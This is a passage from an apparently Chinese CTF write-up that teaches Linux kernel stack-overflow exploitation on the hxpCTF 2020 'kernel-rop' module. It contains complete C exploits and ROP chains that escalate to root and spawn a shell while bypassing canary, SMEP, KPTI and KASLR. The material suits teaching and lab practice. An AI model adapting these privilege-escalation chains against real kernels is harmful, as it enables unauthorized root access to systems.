if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
ROPgadget获取
不建议用ROPgadget,速度比较慢
ROPgadget --binary ./vmlinux > gadgets.txt
Ropper获取
使用ropper速度会比较快
ropper --file ./vmlinux --nocolor > g
直接获取
./vmlinux > gadgets.txt
然后搜索
cat gadgets.txt | grep 'pop'
文件系统
解包
mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio
打包
gcc -o exploit -static $1
mv ./exploit ./initramfs
cd initramfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > initramfs.cpio.gz
mv ./initramfs.cpio.gz ../
Linux Kernel的保护措施
Kernel stack cookies【canary】:防止内核栈溢出
Kernel address space layout【KASLR】:内核地址随机化
Supervisor mode executionprotection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。
开启:在-cpu参数中设置+smep
关闭:nosmep添加到-append
Supervisor Mode AccessPrevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。
开启:在-cpu参数中设置+smap
关闭:nosmap添加到-append
Kernel page-tableisolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。
开启:kpti=1
关闭:nopti添加到-append
hxpCTF 2020 kernel-rop
这里使用hxpCTF2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。
项目地址:https://github.com/h0pe-ay/Kernel-Pwn
hackme_read
这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息
hackme_write
hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。
动态调试
首先在启动脚本run.sh中加入-s的参数,使得可以使用gdb对qemu进行调试
其次可以使用lsmod查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0
否则直接运行不会显示模块的地址,结果如下
将权限修改为0之后,就可以正常显示了
然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000
接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux,并且也加载到gdb中
最后就可以开启远程调试了,target remote:1234
这里需要注意的是ida中显示的地址可能不准确,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme
在hackme_write中打下断点
这里我遇到个问题是在遇到push指令时不能够使用ni进行跟踪,而是需要si,否则会跑飞。
使用ni进行单步调试,程序会直接运行,无法断下来。
使用si则可以单步
至此就可以对hackme.ko的模块进行调试了。
未开启保护
首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。
run.sh
在append使用使用nosmap、nosemp、nokaslr、nopti关闭smap、semp、kaslr以及kpti的保护
qemu-system-x86_64 \
-m 128M \
-cpu kvm64\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \
-s
ret2user
由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。
首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可
在hackme_read中打下断点,查看变量v6中存储了什么值,由于程序是通过memcpy进行数据拷贝的,因此直接查看RSI寄存器对应的数据
可以发现canary的值就在其中,因此利用hackmeread这个函数就可以将数据泄露出来
这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。
在泄露canary后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root凭证,在切换到用户态下。
prepare_kernel_cred函数
prepare_kernel_cred函数用于为内核中的进程(也就是进程的内核线程)创建一个新的cred 结构体,该结构体包含有关进程的安全上下文信息,例如UID、GID、capabilities 等。
commit_creds函数
commit_creds 函数接受一个指向 cred结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。
因此调用prepare_kernel_cred(0)可以获取root权限的凭证,接着调用commit_creds函数,就可以将当前进程的特权修改为root。即指向commit_creds(prepare_kernel_cred(0))
在获取完root之后则需要调用swags指令进行GS寄存器的切换,即将g_base与k_gs_base的值进行交换,swapgs是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。
执行swags指令之前
执行swags指令之后
最后则是切换回用户态,iretq 指令是 x86架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是iret 指令的 64 位版本,用于在 64 位模式下使用。
iretq 指令有以下三个功能:
恢复处理器的标志寄存器 (EFLAGS)的值,以便返回到原始程序的执行上下文。
恢复程序计数器 (Instruction Pointer, RIP)的值,以便返回到原始程序的执行点。
恢复栈指针 (Stack Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。
iretq还原的值的顺序为RIP|CS|RFLAGS|SP|SS,那么在iret指令中按顺序填充RIP、CS、RFLASG、RSP以及SS的值即可,因此在执行iretq之前需要将在用户态下将这些值进行保存。并且RIP指向的值为system("/bin/sh")函数的地址即可。
保存寄存器的汇编代码如下
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
在iretq指令后跟随的值如下
exp
因此最后构造的exp如下
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
*/
unsigned long user_sp, user_cs, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff814c6410;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main()
{
unsigned int i, index = 0;
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 8*11);
for(i = 0; i < 11; i++)
printf("i:%d:data:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long leak_addr = buf[10];
save_user_land();
unsigned long payload[256];
for(i = 0; i < (16); i ++)
payload[index++] = 0;
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)lpe;
write(fd, payload, index * 8);
return 0;
}
绕过SMEP
SMEP保护是防止内核执行用户空间的代码,而上述的exp则是将利用过程是将汇编语言写在用户空间中,因此在SMEP的保护下,上述的利用会失效。下面将介绍绕过SMEP的几种方法。
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \
-s
修改CR4寄存器
前面说过开启SMEP保护实际是将CR4寄存器的第20比特位置为1
那么一个简单的想法就是将CR4寄存器的第20比特位重写为0,关闭SMEP的保护就可以使用上述的利用手法了。那么写cr4寄存器的是通过native_write_cr4函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret的gadget。
找到native_write_cr4函数
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff81006370: pop rdi; ret;
0xffffffff814443e0 T native_write_cr4
*/
unsigned long user_sp, user_cs, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff814c6410;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main()
{
unsigned int i, index = 0;
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 8*11);
for(i = 0; i < 11; i++)
printf("i:%d:data:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long leak_addr = buf[10];
save_user_land();
unsigned long payload[256];
for(i = 0; i < (16); i ++)
payload[index++] = 0;
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; // pop rdi; ret;
payload[index++] = 0x00000000000060;
payload[index++] = 0xffffffff814443e0; //native_write_cr4
payload[index++] = (unsigned long)lpe;
write(fd, payload, index * 8);
return 0;
}
但是在这个版本下的内核已经无法通过native_write_cr4函数改写CR4寄存器了,可以通过dmesg打印日志信息,可以发现
提示pinned CR4 bits changed: 0x100000!?的错误,并且CR4的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。
可以看到补丁的说明,在启动后CR4的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。
构造逃逸ROP
由于SMEP只是杜绝了执行用户态的代码,因此利用ROP的思路,在内核态完成ROP链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。
那么此时需要什么样的gadget则是构造逃逸ROP的重点,由于需要手动传参调用上述的攻击链,因此需要
pop rdi; ret;
mov rdi , rax; ret,这里需要注意的是,我们需要prepare_kernel_cred(0)执行的返回值,因此需要将rax寄存器的值传递给rdi寄存器
swags; ret
iretq
除了mov rdi, rax; ret以外,其余的gadget都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret这样的gadget,因此需要想办法找到其他的gadget,这里我找到如下的组合,通过构造rdi与rsi的值,使得rdi = rsi从而导致jne的跳转无法执行,那么就可以在执行mov rdi, rax的情况下可以跳过jne的跳转指令执行到ret指令。
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
因此ROP逃逸的思路与在用户态的ROP区别不大,只要找到合适的gadget即可
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
栈迁移
栈迁移能使用的场景是当我们需要构造的ROP链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP指针的gadget可以使用。这里我找到的gadget是,通过pop rbp; ret与mov rsp, rbp结合,就能够篡改rsp为任何值。
0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret;
0xffffffff810062dc: mov rsp, rbp; pop rbp; ret;
那么需要将rsp篡改为何值,此时就需要结合mmap函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp的值指向mmap开辟的地址,通过栈迁移技术,将栈迁移到mmap的地址值,我们在将ROP链填充到mmap开辟的内存中即可,这里对mmap函数进行一个介绍。
mmap函数
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
addr:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000(这里是我自己测试的)
length:内存的大小
prot:权限
PROT_EXEC,执行权限
PROT_READ,读权限
PROT_WRITE,写权限
PROT_NONE,没有任何权限
flags:标志位,mmap函数可以设置的标志位有很多,这里着重介绍一些常用的
MAP_SHARED:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件
MAP_PRIVATE:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件
MAP_ANONYMOUS:匿名映射,是一种不映射文件的映射
MAP_FIXED:固定映射,即映射地址必须是addr所指定的,若该地址被占用则mmap返回错误
fd:需要映射的文件描述符,若是匿名映射则设置为-1
offet:映射的偏移,即选择从哪个位置开始映射
映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS与MAP_FIXED的标志位需要被指定,然后是MAP_SHARED与MAP_PRIVATE必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。
栈迁移完成
将ROP链部署在了映射内存中
最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap开辟的内存是在用户态的,SMEP则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP,后面理解发现,我们只是访问了用户空间的地址即0x2000,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP无法阻碍这种利用。而这也正是SMAP与SMEP的区别,SMAP则是无法读写用户态空间,因此若开启了SMAP,那么该利用手法则无法进行。
绕过KPTI
KPTI(Kernel Page Table Isolation)是一种针对 Intel处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影响。KPTI的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。
简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。
那么有两种方式可以绕过KPTI
捕获Segmentation fault的异常,在异常处理中调用system(/bin/sh)
切换页表,将内核空间的页表切换到用户空间中去
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \
-s
使用异常处理
使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh")
signal(SIGSEGV, backdoor);
exp
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
signal(SIGSEGV, backdoor);
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
使用swapgs_restore_regs_and_return_to_usermode
第二种方式则是修改页表,CR3 寄存器是 x86架构中的一种控制寄存器,用于存储页目录表(Page DirectoryTable)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。
那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode,swapgs_restore_regs_and_return_to_usermode 函数是在 x86架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。
在内核中搜索该函数的地址
可以看到在该函数的内部存在修改CR3的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16的位置开始执行。
在该函数后续的执行中,还会执行swapgs的指令,切换GS的寄存器,并且做一个绝对跳转到0xffffffff81200fco
在该地址的后续还存在这iretq的指令,因此该函数具备了所有的条件。
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
绕过SMAP
SMAP则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode构建的ROP链。
但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。
绕过KASLR
KASLR与用户态下的ASLR差不多,都是开启了地址的随机化,因此不能使用绝对地址。
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \
-s
泄露内核地址
通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds -- [-3701815]
0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823]
0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139]
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308]
0xffffffff81006370: pop rdi; ret; -- [-8682711]
0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832]
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318]
0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028]
0xffffffff8150b97e: pop rsi; ret; -- [-3417801]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159]
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
unsigned long leak_addr = buf[10];
printf("leak addr:0x%lx\n", leak_addr);
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = leak_addr - 8682711; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = leak_addr - 3700823; //prepare_kernel_cred
payload[index++] = leak_addr - 3417801; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = leak_addr - 8682711; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = leak_addr - 3701815; //commit_creds;
payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
